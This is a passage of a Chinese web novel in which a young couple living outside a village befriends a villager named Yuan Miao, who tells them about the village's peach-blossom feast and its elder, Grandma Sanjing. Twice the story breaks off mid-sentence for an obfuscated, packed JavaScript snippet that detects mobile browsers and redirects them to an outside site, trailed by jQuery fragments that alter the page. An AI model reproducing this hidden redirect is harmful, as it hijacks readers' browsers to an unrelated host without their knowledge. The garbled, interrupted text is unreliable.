苏静蘅眨眨眼,见她抿着嘴,甚是期待地等自己的回答,脑子便更受了她控制似的,说不出拒绝的话来,只好点头:“好,好啊,一起走,反正顺路。”
再瞧瞧那男人,明显不大乐意和他们一起走,可在这女子面前轮不到他说话,便皱皱眉,一声不吭地接过她臂弯的竹篮,乖乖跟在他们身后。
宁知序冲他尴尬地笑笑。
真巧,他在这儿也没有说话的资格。
两个地位低得可怜却又不想和陌生人一块走路的人凑在一起,便比不得前面的两个女孩有话能说,一路走来除了安静还是安静,甚至彼此之间隔了好几步,连靠近都不想靠近对方。
苏静蘅还有些不适应,元渺亦然,只是她先做了邀约,便不得不主动起来,笑吟吟地对苏静蘅说:“其实前天我就看见你们了,那天晚上,你相公骑马带你回家,我们村子好多人都看见了,他们说是你相公掳你走了,你肯定不愿意和他成亲,我说不是,他们还说我傻呢,昨天一遭,今日一遭,再看下来,证明他们说的是假的!我说的才是真的。”
“昨天你们也看见我们了?”
苏静蘅回想昨日发生的一切,又想了想对面村子的位置,猛地拍拍脑门。
怎么这样!
他们怎么在山上偷看她和宁知序!
成亲的事闹那么大,想必那村子里的人都知道了,这两天都待在家看她和宁知序的热闹呢,要不是元渺跟她说,她都意识不到这些事。
“前天夜里李三伯起夜,说瞧见有好多人围在你家门口,昨日白天又有人去闹,我心里还不确定,直到今天看见你们,不像是强迫的样子——”
她说着拖长声音回头看了眼宁知序。
心道这公子模样可真俊,笑得时候挺腼腆,不像是会掳人的样子。
他们两个一看关系就很好啊。
好好的亲事到了旁人嘴里就成了强迫,多不好,回去定要好好跟他们说说,不要再乱传谣言了,人家日子过得可好了,和她与和薪一样。
“其实——”苏静蘅顿顿,想说她确实是被宁知序掳回来的,可一想到后面都是自愿,虽然是被迫的自愿,但到底也算自愿,说多了麻烦,便犯不着跟她说那么多,于是道,“宁家的意思,哪容得了我们说,日子这样过,挺好的。”
宁知序闻言抬头,很快,又低下头紧盯着车上的货物不知道在想什么。
元渺知他们的境遇,丝毫不嫌弃,听了她的话对此颇为赞成,又近一步,挽住她的手点头:“是,我也这样以为,日子这样过挺好的,日后你们住在那儿,靠着我们村,可以常与我们村的人来往,缺什么要什么,村里人都和善得很,同我们说,大家肯定愿意帮你。”
“你们村叫什么名字?”
苏静蘅又开始回想那村子的样子。
山间何处,多少人家,泉水流过,多少树多少花,一直未曾注意的模糊景象此刻在脑海里渐渐清晰。
元渺拉着她的手说:“桃花村,就是梨花的那个桃花,能听懂吧?桃花村!”
24. 桃花村(一)
桃花村原叫李村,因村里人都姓李,聚居成村,数年来不曾改过名。
又因村子周围种满桃树,三四月山里桃花次第开放,连成一片,如粉色霞雾围绕山间,过路者不知其村名,称赞山间美景时总爱称其为“桃花村”,久而久之,桃花村便顶替李村,成了村子的另一雅名,为大家所接受。
元渺并非此处村民,与苏静蘅一样,她去年年底与李和薪说亲嫁来此处,从此在桃花村安家,成了桃花村的村民。
初来此处凡事都需要别人照应着,在这里住了几个月,虽然比起其他人依旧是村里新人,但村里人已然认识得差不多。
各家各户走了个遍,有了几个能说体己话的姊妹姑婶,丈夫待她极好,日子似乎回到了还没成亲之前,一切正处在一个极有奔头却因抹去了新奇感而日渐觉得无聊的时候,偶然得知山脚下那处荒宅来了一对年轻夫妻,便忽然觉得自己成了前辈,心里对素未谋面的那对夫妻生出些许帮扶之意。
同村的山儿哥入城采买时顺便打听到消息,回来传扬一番,仅二十来户人家的小村竟对此生出四五种不同的说法,关于那对阴差阳错成了夫妻,又被驱逐在城外的年轻人,众人皆是好奇,自打他们住进山脚那座数年无人问津的荒宅之中,就忍不住从早到晚明处暗处地偷看他们,想方设法打听他们的消息。
十七八岁的女孩子心里没有坏主意,更别说元渺自小长在父母的宠爱之中,成亲之后也未曾与邻里闹过什么矛盾,得大家的帮助与爱护,养成了极为天真善良的性子,见了苏静蘅,与她几个眼神的交流,便认定她是个好人。
知道村里人对他们好奇,总传一些有的没的的话,又知道他们两个初来此处,人生地不熟,恐他们日子难过,或许还要受家里的牵制,走在路上心里挣扎许久,总觉得自己应该找机会主动伸出手“提点”他们一番。
恰好遇他们翻了车撒了豆子,便鼓着勇气上去帮忙,与苏静蘅说话,将自己知道的都告诉她,教她怎么跟村子里的人结交。
桃花村里有多少户人家,谁家好相处谁家难相处,谁家事多谁家事少,一会儿的工夫都跟苏静蘅都交代得清清楚楚,更提醒她:“我们村有个三井婆婆,人好,村里人都敬她,各家大事小事有拿不准的也总愿意听她的意见,若遇着解决不了的事,可以找她帮忙,看在她的面子上,无人敢说你们的不是。”
宁知序默默听她们的对话,对那村子里的人有了些许认识,但仍提不起什么劲。
他倒不觉得自己需要和那边的人扯上关系,隔着一条道与半程山路,只有几个月的交集不会深到哪里去,或许见了面点个头打声招呼就是最好的关系,可一看苏静蘅那副认真听讲,时不时请教的模样,又不得不将自己的想法压在心底。
或许她还想多交几个朋友,看眼前和元渺说话的劲头,比整日和他待在一块要高兴的多。
两个女孩子并肩走着,没一会儿就聊熟了,苏静蘅一改刚开始的拘谨,叽叽喳喳地问元渺村子里的事,谁家养的鸡打鸣声最大,谁家房子最好看,谁家中午做饭迟,谁家做饭早,原来她闲来无事盯着对面的村子看,村子里的动静她都记在心里。
元渺一一作答,几句话说完,竟已走到家门口。
苏静蘅望着突然出现的房子陷入疑惑:“这路怎么这么短?”
但元渺只是笑笑,同她挥手作别,临走前不忘对她说:“有空我来找你玩!”
苏静蘅连忙应和,说些请她到家里吃饭的客套话,等着人影从面前的小路往山上去,彻底消失在村子里,她才依依不舍地回头。
宁知序一声不吭地将今日买的东西从车上搬下放好,收拾完又主动去烧水,供她擦洗身子,一切做完天色才刚暗,洗去一日的疲惫,两个人在外边看了会山看了会天看了会晚霞。
过后点了灯在堂屋对面而坐,百无聊赖地摆弄着从城里得来的东西,有一句没一句地聊着天。
得了针线布匹,便替宁知序量体裁衣。
有了纸笔墨卷,就教苏静蘅识几个简单的字。
除了她自己已经认识的,最先教的就是自己的名字。
“‘宁知序’,这三个字你要先会写。”
“为什么?”
宁知序磨墨落笔,工工整整写下自己的名字交给她,说,“以防哪日你走不见了,别人问你家住何处,有何亲友,你写不上我的名字,旁人怎么替你寻人呢?”
“话是这么说,可我就算能写出你名字,也不一定能寻到你人。”
“为什么?”
“跑不见的肯定不是我,是你,你以后要是在这儿住着,或者在桃花村住着,就算分开了,我依旧能记得你,除非你一点消息都没有地跑了,故意避着我,不然我怎么会找不着你呢?”
宁知序说:“也是。我若活着,自是会一直在这儿的。”
苏静蘅还是将写着他名字的纸收下,带进屋里,临休息前说好了明日他替她写信,她替他做衣裳,宁知序看她这样子,问她接下来几日是不是不打算往山上去。
苏静蘅说:“不去,若渺渺姑娘来找我的我便跟她去,她若不来,我便不去了。”
能交到一个知心的朋友自然是好的,可是眼下情况特殊,她不想多惹麻烦,这些日子身边只一人伴着能与她说说话就挺好的,其他的,且随缘吧。
-
元渺与李和薪回到家,将今日在城里的见闻说给自家公婆听,恰好隔壁赵琴娘吃完饭同自家男人四处消食溜达到自家门口,一齐将她的话听了去。
她说:“今日回家的路上遇见对面那对新来的夫妻,说了些家常话,路上他们还分了些点心给我们,我看他们两个人都是温顺的性格,不会惹事,交个朋友倒是值当。”
一家人搬了桌子在外,等小两口回来才一块儿吃晚饭,周素娘正坐下,闻言问:“新娘子与你一般大?”
“比我小一岁,过了端午就十七了。”
元渺说着,接过筷子亲昵地抱住周素娘的胳膊,唤道,“娘,我邀她来家里是不是不方便?正巧见了她绣的帕子,看样子是个刺绣的好手,我想找她讨教讨教,改明儿好给你和阿爹做一身新衣裳,若是不方便,我就不邀她到家里来了,到她家去也是行的。”
周素娘被她这样的贴着,脸上笑开了花,也不怕旁人看笑话,忙就贴了回去。
她个儿不高,比元渺还矮些,赵琴娘见了,不由调侃:“瞧瞧,新媳妇进门,倒像亲生的闺女似的,真叫人羡慕。”
周素娘立刻贴的更近些,急忙忙要印证她的话,一边顺着元渺的话说:“去旁人家多叨扰,你自己的事自己做主就成,哪用得着问我们,叫人到家里来,咱家又不少那点地方,至于衣服,我和你爹不缺衣服穿,你自己做自己的就成。”
元渺一听她允了,高兴地抱住她:“谢谢娘!”
两人贴来贴去,又惹得赵琴娘两口子一阵羡慕。
不过幸亏自家有一儿一女,儿子今年十八,到了成家的年龄,但一直没有成家的心思,平日在城里学塾读书,他们也没急着催他。
自己成亲生孩子就比旁人迟些,二十五岁有了第一个孩子,三十八岁又生了个女儿,对待成亲嫁人的事,自是比其他人家开明一些。
女儿年方五岁,还不大懂事,等大一些,像元渺这样能做事,嘴又甜,两口子定是要欢喜到心肝上去,连嫁人都舍不得她嫁。
“你也瞧见他们了?怎么样,有没有打听到他们家那些事?怎么好端端地就把他们扔到山脚下来了,真像传闻说的那样,宁二郎命里不祥?”
李和薪始终没说话,直到他爹问了,才开口,但也只是低着头吃着碗里的饭,顺便挟些菜到元渺碗里,道:“我没怎么同他们说话,那姓苏的姑娘性子不错,与我们家阿渺一样,很喜人,日后若能多走动,陪阿渺说说话也是很好的。至于宁二郎,瞧不出有什么特别的,一般人而已。”
李泊沉吟须臾,点头应道:“渺渺喜欢就好,命里的事说不清楚就不要乱说,咱们村人少,这下子多了两个人,可不得关照着些,明天去找三井婆婆说说这事,正好还有半个月桃花节,看看到时候能不能请他们两个到村里参加桃花宴。”
村里与元渺同龄的女儿家也只有三井婆婆的孙女李良月了,可偏偏那个丫头性格古怪,和别人合不来,即便她对元渺的态度比对其他人好一些,但也只是见面打声招呼,从来不说多余的话。
元渺心里是亲近李良月的,没事会找她聊聊天,她不介意李良月不搭理她,可李泊两口子看着心里总不是滋味。
那姑娘性子不好处,不能叫他们家的人每天用热脸贴她的冷屁股,若是传到亲家耳里,以为元渺在他们村受了委屈那可不好。
元渺不知道阿爹的心思,一听到桃花宴,眼睛瞬间发亮。
三月三桃花宴,她从年前就开始期待了。
说得雅一点是迎春宴,迎春风春雨,祭土地山神,望上天护佑今春到明春风调雨顺天下太平。
说得俗一点就是大家伙聚在一块吃席!
猫狗都上桌,鸡鸭鹅入肚,好酒果酿作饮品,山风鸟鸣当曲声。
若是三井婆婆能肯,叫那对新来的夫妻一块参加桃花宴,那简直好得不能再好了,她这人喜欢说话,有了新女伴,就不用担心桃花宴上孤单。
元渺高兴道:“明日我就去找三井婆婆说说去,她人那样好,肯定会同意,说好了,我就去找阿蘅姑娘,她知道了也一定高兴!”
-
翌日,苏静蘅起了个大早,天色未亮,便收拾了衣服去河边清洗。
正清晨人的脑子似乎清醒又似乎迷糊,宁知序不知在灶屋里捣鼓什么,忙碌之中与苏静蘅对视一眼,两人都没说话,默默做自己的事情,待她绕去屋后,才忽然意识到什么,进堂屋一看,自己昨晚换下来的衣服果然不见了,连忙追出去问:“喂!你是不是拿了我的衣服?”
苏静蘅蹲在溪边头也不抬,道:“嗯,没几件,顺手一起洗了。”
手真快……
他刚起床进灶屋打算热些早膳,转眼衣服就被她拿走了,宁知序从她手里将自己的衣服挑出来,揉作一团抱住往回走,小声说:“不用不用,我自己的衣服自己洗,待会儿吃饭完饭就洗。”
“你这人可真怪,有人帮你洗衣服你都不愿意。”
宁知序听见她的话没回头,一溜烟消失在屋前,苏静蘅嘀嘀咕咕捡着自己那身衣服继续洗,心说他这是好心当作驴肝肺。
不洗就不洗,正巧给她省点力气。
一身衣裳一共两件,没一会儿洗好拿去晾着。
用了早饭,等宁知序将他的衣服洗净晾好,两人合在一处将苏静蘅要写的信写了,而后才好分开各自做各自的事。
苏静蘅再看宁知序写字,她说一句,他写一句,一些口头的话到他笔下,字句凝练,两句并做一句写,落完笔他读给她听,文绉绉的,听得人想笑。
“文人写字都这样?怪省纸墨的,不如我们以后说话也这样,省点口水也是好的。”
“你糊涂了?”
宁知序听她说的怪话,嘴角抽抽,“口水省下来有什么用?该多费点口水,这样不用咽,能省点力气。”
“你也糊涂了!”
苏静蘅将信收起来,说,“咽口水能花什么力气,哪要你费力气去省?”
“那你咽咽看,多咽几次,不许停,看你累不累。”
苏静蘅照他的话做,差点没把自己憋死。
看宁知序幸灾乐祸的样子,她道:“喔!我知道了,你闲得没事的时候咽口水玩!太傻了宁知序,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515362|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么像个小孩一样?”
宁知序低头,喉结上下滚滚,道:“什么小孩不小孩的,没事做的时候还不允许我做些傻事打发时间?你刚才也做了,你也是个小孩。”
苏静蘅笑笑,不和他争论,折了信封就要将信装进去,宁知序赶紧说:“这么装信不好,等着,马上给你劈个竹筒来,再找根绳子穿个洞系上,把信装进去等交给商队的人,叫他捆在手上,睡觉也不允许离身,话说在前头,告诉他们,既收了钱,要是丢了,我们苏仙子是要派小仙找他算账的。”
苏静蘅:“……”
这个人一天不开她的玩笑就难受。
“仙子叫你不许再说这些胡话了,快去做你自己的事情吧。”
宁知序一惊一乍地起身,朝她作揖:“仙子说话不敢不从,如此,小生就不打搅仙子了,仙子保重,小生进山给仙子寻些野味来,两个时辰之后见!”
眼下再潇洒,两个时辰之后也要回来做饭。
能不能打着野味另说,他脑子里的菜单还没翻页,光是山笋的做法还有好一些没有试,再去山上弄些回来,重新做点花样给她吃。
宁知序带着他的工具离家,一头扎进山里,临行前跟苏静蘅保证只在附近有人迹的矮山晃悠才叫她放心。
家里只剩一人,苏静蘅先对着买来的纸笔发了会儿呆,最后实在舍不得动这些东西,小心翼翼收起来,又拿了笤帚将家里各处打扫一遍。
窝在房子里收拾半天,走进西屋,看着屋顶强迫破裂之处,她思来想去也想不明白这房子要怎么修才好看,打上补丁的东西总是丑的,除非拆了重建,可他们哪有那钱来做这事。
算了算了,不想了,这事该是宁知序操心的,反正墙没塌到根上,屋顶也没全坏,还有个门挡着,除了少了间能住的屋子,其他没什么大事。
苏静蘅说服自己莫要再多管闲事,从堂屋往外看了眼,洗好的衣服在风中飘荡,定定神,从屋里拿出昨日买的料子开始裁剪。
一上午做的事不算多,宁知序回来时旧箩筐里堆了一对笋,手里拖着些竹子往屋门口一横,来不及说话,不顾小节朝地上一坐,憋的一口气这才堪堪从胸腔里呼出。
中午依旧是不多不少的三道菜,两荤一素,吃得苏静蘅猛打饱嗝,吃完没休息,拿着剪子钞尺对着布料继续琢磨,甚至连话都没说几句,再抬头外边天已经半暗。
为了省些灯油,两个人皆是赶着天黑之前将一切收拾好,留点空彼此之间说些话,聊些乱七八糟的事情,从洛城聊到桃花村,想到这一日元渺并没有来找她,原以为近两日是见不着面了,苏静蘅略有些伤心,夜里又做了噩梦,醒来仔细回想,却什么都记不清,只有腔子里那颗跳个不停的心能证明她睡梦中存在的不安。
然而,这样的事自娘去后多有发生,情绪一旦有变化,当日就会陷入梦魇,大多数噩梦醒来之后都会烟消云散从她的记忆里消失,只有关于宁知序的那个梦意外地清晰。
苏静蘅心想记不起来才好,不然一有喘气休息的工夫,就会忍不住回想那些噩梦,一天两天甩不掉,干活都提不起力气。
她心知昨夜的梦一定和桃花村有关,没出屋子的时候以为看见对面村落心里要不痛快,谁叫她性格如此,向来喜欢把没由来的情绪怪到别人身上,可一出门,瞧见满山新绿,心底怨气竟一瞬间化散。
芳草山树之间参差二十几户人家,隐约见到人影晃动。
生长在这样的地方,哪有什么怨气可生。
洗漱时苏静蘅一直透过窗子盯着山里看,没一会儿宁知序拿着刀进入眼帘,一身破布衣裳穿在身上,被他穿出一身江湖气,手里拿刀俨然成了个大侠,随手晃晃,冲着对面歪歪脑袋,对她说:“快出来,前天那姑娘来找你了。”
嗯?
苏静蘅跑出去,果然看见元渺从山路上往下走,到了平地,迫不及待跑起来,远远就喊道:“阿蘅姑娘!我来找你了!去我家玩吗?今天我爹娘都不在家,我相公也出门去了,我带你去村子里逛逛怎么样?”
苏静蘅还想着要矜持些,走过去迎她,咧着的嘴角却出卖了她内心的欣喜。
见面第一句先问她:“你怎么来得这么早!吃过了吗?”
元渺说:“吃过了,你还没吃呀?要跟我去村里玩吗?我在这里等你,吃过了去吧。”
苏静蘅冲着她笑:“没,我刚起没一会儿,你吃饱了吗?我相公做的肉粥可好吃了,要不要尝一点?”
宁知序旁听着,见苏静蘅忽然转头看自己,一时不知道该说什么。
她这样子是想问自己他做的肉粥到底好吃不好吃,还是在问能不能分元渺一碗肉粥?
稀里糊涂的点头,不管她想问什么,点头就对了。
苏静蘅这下拉住元渺的手,说:“来吧来吧,就吃一点点,保证好吃的!”
“啊……好吧……”
元渺被她拉着进灶屋,苏静蘅重新拿了个碗给她盛了些肉粥,两个人坐在一起品尝着,才入口,元渺就忍不住夸道:“你相公手艺这么好呀,一碗粥都能煮得这样好吃,平日都是他做饭吗?他不是宁家二公子吗,竟也亲自下厨。”
苏静蘅没正面回答她的话,只是说:“我也能做,可他不要,宁府厨子多,做的东西比我们寻常百姓家的有滋味,想着也是我占到了便宜,他愿意做那便让他做吧,我还能偷师学点,若我的手艺能有他一半好,以后偷偷给自己开小灶也不至于会委屈自己的嘴巴。”
肉粥今天第一天做,天没亮就听见他起来准备了,没吃之前便笃定味道不错,吃到嘴里,果然如她想的一样,粥米稠而不烂,咀嚼之中能感受到米粒清甜绵软,掺了酥烂不散的猪肉,淡淡的辛香味在唇齿间蔓延,咸甜适中,一碗肉粥下肚,胃里暖洋洋的,身子也跟着热起来。
25. 桃花村(二)
宁知序一直在外边干他的活,打地铺的滋味不好受,之前在宁家日子过得在不成人样,至少还有一张破木板床可以睡,现在离了宁家,反倒没床睡了,他琢磨着给自己打个竹床,恰好入了春,以后天会越来越热,若有机会在这里过到七八月份,必少不了一张竹床作伴。
冬暖夏凉的好东西,要是苏静蘅喜欢,他也愿意给她做一个。
给她做的那个应该要大些,至少比现在这张床大,要够打滚的那种,是过夏天又不是过冬天,哪里凉快往哪里躺,最好够她躺在中间作一个“大”字,这样才痛快。
——哎不对,七八月份?过了五月,最多六月,她就要投奔姨母娘舅去了,怎么会在这里待到七八月?
算了,那还是要做。
她不睡就给自己睡,到时候两张床换着睡,自己怎么高兴怎么来。
屋子里聊天的声音传进宁知序耳朵里,两个女孩子聚在一块儿说话,他想假装没听见,可奈何那声音太过惹人注意,两个人叽叽咕咕笑啊笑,从他的样貌聊到他平日说话做事是什么样子,自然夸他的多,于是实在忍不住,一边若无其事地摸着从山里拖来的竹子,一边勾着嘴角笑。
他更高兴苏静蘅总是不吝啬地说他的好话,这几日同她一起,简直把过去十年没听过的夸奖都补回来了。
元渺说他做的粥好吃,那苏静蘅就必要说他做的笋好吃,鸡好吃,连煮的米饭都香,说他和别的富家公子不一样,也不像他们平民老百姓,总之是个两边都沾一些,但又不全属于哪一边。
“那他是什么?”
元渺听她说得津津有味,顺着窗户朝外面看,就看见宁知序低着头默默笑着,立刻噤声,拍怕苏静蘅的手,指指外边,小声,“你相公听着呢,瞧他高兴的。”
苏静蘅不在乎,哼哼道:“怎么说呢,反正他不一样,我乐意同他在一起,比和其他人一块儿好多了!我自然有我自己的考量,旁人肯定不明白我为什么这么做,可我同他一块,总比身上带着几两银,跋山涉水过山路,要担心自己被野兽吃,被人抢劫得好。”
她其实也觉得自己一定是疯了。
昨日将攒下的钱拿出来数了数,加上宁知序给的那个戒指,说不准够她雇辆车去穆阳。
雇车,那是大户人家才会做的事,她这样的人怎么敢这么想呢?
她长这么大就没坐过车,可自己走去至少要一个月,中间住店吃饭要花不少钱,现在有了本钱,她为什么一定要亏待自己,叫自己去吃苦呢?
而且比起那点钱,去穆阳的路太远,保全自己更重要。
若宁家的人不纠缠,到了说定的日子,写个和离书,正正经经地分开,没准还能讨笔赏钱,这样在穆阳安家的钱也就有了。
这庄婚事到此刻更像一门生意,她只顾着赚钱,来一趟不是白消磨时间的。
元渺不知她们两个想的根本不一样,抿抿嘴,靠到她耳边悄声说:“我明白。”
苏静蘅心道她能明白就好,有人懂她,她心里便高兴,吃完饭将碗收起来,出门同宁知序说:“别忙了,快进来吃饭吧,粥要冷了。”
“好。”
宁知序原本满怀期待地想和苏静蘅一块用早饭,现在既然有人陪她一起,自己当然不好打搅,识相地在外等着,等两个人吃完才进去吃他那份。
苏静蘅进屋收拾收拾东西背着那只小蔑篓便跟着元渺往山上村子里去,临走前宁知序叫住她,说:“莫贪玩,记得回来吃午饭!”
元渺见状道:“到我家去,自然是要留在我家吃了,宁公子你来也吧,我同我相公杀只鸡给你们吃!”
“不要不要。”
一听她说要杀鸡,苏静蘅想也不想就拒绝,为了他们单杀一只鸡太夸张了,她不是才嫁到桃花村吗?这样做会不会叫婆家不高兴呢?
她不敢问她的家事,不知道公婆对她怎么样,要是遇到不讲道理的,为了一只鸡也能闹得天翻地覆,那她就罪过了。
“怎么了?你别担心,我成亲家里随了十只鸡十只鸭来,二十只鸡鸭都记在我名下,杀鸡款客我还是能做主的。”
元渺看出她的担忧,连忙解释。
再说,她公公婆婆也不是不讲理的人,有外人到家里,向来都是大方招待的,一只鸡而已,前两日还说要杀鸡给她补身子,这不正好么,她俩一块补。
宁知序对苏静蘅道:“你前两日想吃的那道菜,说好了今日做给你吃的。”
那模样有些委屈,好像是她非要不回家,留自己独守空房似的。
苏静蘅差点被他的委屈骗过去,而后才想明白是为了拒绝元渺的好意编出来的借口。
她反应也快,立刻接上他的话,转头邀请元渺到自己家吃饭。
两人都是请别人到自己家的时候大方,被别人请的时候又都不好意思了。
元渺说:“我吃了你家的肉粥,哪好意思中午还在你家吃,不过你相公既然要给你做好吃的,我便不强留你了,下次再到我家吃吧。”
说着同宁知序摆摆手,说了句“我把你娘子带走啦”,然后就拉着苏静蘅往山上去。
苏静蘅从篓子里拿出桂花杏糕分给她,想着桃花宴的事,元渺迫不及待告诉她:“下个月村里办桃花宴,三井婆婆说要找人请你们一块去,你们可千万不要不好意思,这是我们村一年里最大的事了,大家都把你们当村里人呢。”
“桃花宴?那是什么?”
元渺耐心跟她解释了桃花宴的由来,苏静蘅似懂非懂地点头,又问:“三井婆婆为什么叫三井婆婆?”
元渺认识那么多人,第一次有人和她一样问出这个问题,当即像遇到知己一样,嘴里的糕点都来不及咽,抓紧苏静蘅的手跳着说:“这个问题我也问过!我婆婆跟我说,三井就是三口井的意思——”
“三井婆婆家里有三口井?”
“不是不是!”
苏静蘅又问出了她问过的问题,元渺笑着说,“因为三井婆婆从三口井里活下来了,所以叫三井婆婆。”
苏静蘅听不明白,元渺只好压低声音跟她说:“三井婆婆小时候被她爹扔进
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534283|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
井里三次,都活下来了,就改名叫三井,说这个名字好,旁人一口井都压不住,她能压三口,起这个名字能长命百岁。”
“竟是这样……”
元渺这年纪只能从旁人嘴里打听三井婆婆的事,就是公公婆婆也没亲眼见过,同村的只有昌老伯亲眼见过,但他也只知道三井婆婆第三次被人从井里救起来的事,前两次不清楚,因为那次从井里将人救起来的是他爷爷。
昌老伯是个酒蒙子,他爷爷也是个酒蒙子,年少爱喝酒,年老更甚,每天都喝得醉醺醺的,一次他去隔壁宜村打酒喝,路过一口井,靠着休息,就听见井里传来呼救声。
那时他喝酒喝昏了头,以为井里说话的是个女妖怪,正巧烈酒冲上脑门,一点不怕,大喝一声,要和井里的妖怪决斗,然而抽出扁担挑子,趴在井口仔细一看,却只看见一个小不点丫头在井里浮着。
井里的女孩说:“伯伯,救救我,我是大丫。”
“谁家的大丫?”
“晖村的大丫。”
昌老伯的爷爷没去过晖村,也不知道村里是不是有个叫大丫的孩子,只是看清楚井里的人,稍微清醒些,跌跌撞撞地找人来捞人。
将人捞起来,一堆人问那个小丫头为什么会掉在井里,听她一说,才知道原来是她那狠心的爹把她骗到这儿要害死的,幸亏有个酒蒙子在这里歇脚,不然这口半荒的井平日十天半月也没人靠近,这丫头肯定要命丧于此。
“没有第四次,因为后来三井婆婆的爹娘都死了,三井婆婆被母亲家的人接回桃花村养着,就这样一直活到八十岁。”
其间又经历许多事,从天下太平到王朝动荡再到天下太平,七十多年一晃过去,三井婆婆成了村里资历最老也最有为威望的人,无人不服她,桃花宴便是她主持办的。
听说城里人年年月月会犒赏自己,那些达官贵胄更是,她说他们老百姓忙了一年也应该犒赏自己,除了老天定的节日,要办一个自己的节,于是精挑细选了日子,做了个桃花宴,年年都办,请大家一起吃喝。
办桃花宴的钱从村里的账上出。
三井婆婆十五岁的时候去城里做学工,认识一些字,读过书,挣了点小钱回到村里依照书上写的建了个方便村里人做工的磨坊,靠着水力运作,可省力气,那磨坊在战争时荒废,战事结束,又继续用着,每两年总要添点东西,十年过去俨然成了个大磨坊。
临的近的村子的人为省些力气,愿意花钱用他们村的大磨坊,自然他们也不多要钱,一年进的账不多,够办个朴素的席,但各家自愿又贴补些,小席面就成了大席面,这般一个凭空造出来的桃花宴就成了桃花村一桩盛事,甚至隔壁几个村子也学着他们办什么梨花宴杏花宴。
“我娘跟我婆婆就是这么认识的,往年来桃花村借磨坊用,看上我相公了,又与我公婆合缘,聊熟了就定下娃娃亲。”
元渺说着有些羞,爹娘的眼光还是好的,相公人好,公婆也好,能住到桃花村,也好!
这下认识苏静蘅,有人陪她一块说话,更好了!
26. 桃花村(三)
苏静蘅应着元渺的话点头,再偏首,瞧她嘴边沾上了糕点屑儿,伸手轻轻替她擦去。
元渺嘿嘿笑着,话又回到三井婆婆身上。
“三井婆婆六十多岁的时候去宜村办事,回来的路上捡了个孩子,是旁人家不要的女婴,她不忍心让那个孩子葬身山野,便把她带回家养着,起了名字叫良月,当作亲生的孙女,良月姑娘今年刚满十六,比你还小几个月,她心肠好,就是嘴硬一些,村里人好像不大喜欢她……”
元渺不明白,村里人不是不喜欢她,是怕她。
若问起愿不愿意家里有一个李良月这样的女儿,各个都会点头,那丫头聪明,胆子大做事勤快,身上总有一股雷厉风行的气质,又护短,家里要是有这么一个女儿,那简直是积了三辈子的福分。
一个十多岁的女娃娃能撑起半个家很不容易,三井婆婆老了,许多事做不了,如今家里有什么事全靠她担着,村子里的大事,她也能充当判官,说个一二,大家怕她,因为三井婆婆做事还会看着人情咧,她从来不看,不像是地上的判官,像地下的判官!
谁生谁死她自有论断,凡是自己认定的事,不论如何也要找出个因果结论,受委屈的不能白受委屈,犯了错的要吃罚,不然用她的话来说就是“没天理“。
既然天都没理了,那人还要守什么规矩?
人既不用守规矩,那她便翻脸做事,凭自己本事教训人。
谁想被她教训?
都不想!
那丫头是个不死不休的性子,被她缠上那就倒霉了。
元渺说李良月这儿好那儿也好,苏静蘅似乎将她的话都听进心里又似乎没听进,吃完一块桂花杏糕,又从篓子里拿出两块,元渺见状摆手,说:“不用了不用了,我不吃了,今早吃太多了有点撑……”
其实是这糕点的味道有点奇怪。
前天初见苏静蘅分给她吃的时候她便觉得有点难以下咽了,只是碍于她的好意不好意思拒绝。
怎么会有糕点吃起来像灶屋里闷了两年的柜子的味道呢?
她从哪里买的这糕点?这么奇怪的味道竟也能吃得下去!
苏静蘅没多想,说“行”,随后一手拿一个,左边咬一口,嚼一嚼,咽下去,右边再咬一口,吹着山里早风模样十分畅意。
两个人快步往村子里去,山道尽头第一户人家大门紧闭,元渺说这家人出门拜会亲友,过两日回来,再往里去,看见一座极为显眼,被绿藤裹满的房屋,便是三井婆婆的家。
苏静蘅乍一瞧这房子也觉得新奇,毛茸茸的房子她第一回见,路过走近想伸手摸摸那些叶子,但一想叶子里恐怕藏着许多虫,于是手一抖,立刻缩回来。
元渺没看见她的动作,挽住她的手跑到房子正面,一个头发花白的老太太正卧在藤椅上晒太阳,看见她们,灰沉的眸子亮了亮,但没有其他的动作,只是笑吟吟地冲她们点点头。
苏静蘅不敢说话,好奇地看着她,元渺大大方方上前说:“婆婆!这位就是新来的阿蘅姑娘,我同她到村子里玩,良月姑娘在家吗?问问她愿不愿意同我们一起!”
“她到宜村去了。”
真是不巧,早上起来就没瞧见她人,果然是出去办事了。
“那婆婆你继续歇着,我跟阿蘅姑娘就不打搅你了,继续到村子里逛啦!”
“去吧。”
老太太始终眯着眼睛莞尔瞧着她们,多看了苏静蘅几眼,笑得更甚,年纪大了不爱说话,这模样便是在表示她的友好。
苏静蘅努力咧开嘴角跟着元渺唤一声“婆婆好”,不喘气又接着道一声“婆婆再见”,糊里糊涂就被元渺拉走。
元渺带她到村里就是为了教她认人,也让别人认她,见过面打过招呼便足够了,倒用不着多说什么话,何况三井婆婆喜静,平日大家见了她也不过问声好,不说其他的话。
待会回去再打声招呼,没准回去的时候还能碰上良月姑娘,她上次去宜村回来给自己带了粽子糖,全村只分给她一人,这次一定还有。
苏静蘅还沉浸在刚才的招呼里,听元渺讲了那么多,她还以为三井婆婆是个雷厉风行的人,没想到竟这般温和。
